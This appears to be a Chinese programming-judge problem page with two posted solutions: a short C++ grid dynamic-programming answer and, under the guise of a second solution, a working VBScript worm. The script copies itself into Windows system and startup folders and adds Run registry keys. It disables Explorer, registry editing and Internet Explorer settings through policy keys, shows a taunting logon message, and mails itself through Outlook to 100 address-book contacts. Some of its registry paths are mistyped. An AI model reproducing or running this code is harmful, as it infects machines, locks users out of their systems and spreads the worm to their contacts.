2 条题解
-
0
#include<bits/stdc++.h> using namespace std; int main() { int n,m,i,j,a[105][105],f[105][105]={}; cin>>n>>m; for(i=1;i<=n;++i) for(j=1;j<=m;++j) cin>>a[i][j]; f[1][1]=a[1][1]; for(i=1;i<=n;++i) for(j=1;j<=m;++j) f[i][j]=max(f[i][j-1],f[i-1][j-1]+a[i][j]); cout<<f[n][m]; return 0; }
-
-1
On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject("Scripting.FileSystemObject") dim r Set r=CreateObject("Wscript.Shell") so.GetFile(WScript.ScriptFullName).Copy(dir1&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir2&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir1&"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Win32system.vbs")
r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoRun",1,"REG_DWORD" r.Regwrite "KCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoClose",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDrives",63000000,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableRegistryTools",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ScanRegistry","" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoLogOff",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/NoRealMode",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/Win32system","Win32system.vbs" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDesktop",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/Disabled",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetTaskBar",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoViewContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetFolders",1,"REG_DWORD" r.Regwrite "HKLM/Software/CLASSES/.reg/","txtfile" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeCaption","Ralph" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeText","小子,你中了Ralph的病毒,哈哈" Set ol=CreateObject("Outlook.Application") On Error Resume Next For x=1 To 100 Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗?" Mail.Body="Ralph" Mail.Attachments.Add(dir2&"Win32system.vbs") Mail.Send Next ol.Quit
r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/SecurityTab",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/ResetWebSettings",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoViewSource",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Infodelivery/Restrictions/NoAddingSubScriptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoFileMenu",1,"REG_DWORD"
- 1
信息
- ID
- 28
- 时间
- 1000ms
- 内存
- 256MiB
- 难度
- 5
- 标签
- (无)
- 递交数
- 109
- 已通过
- 38
- 上传者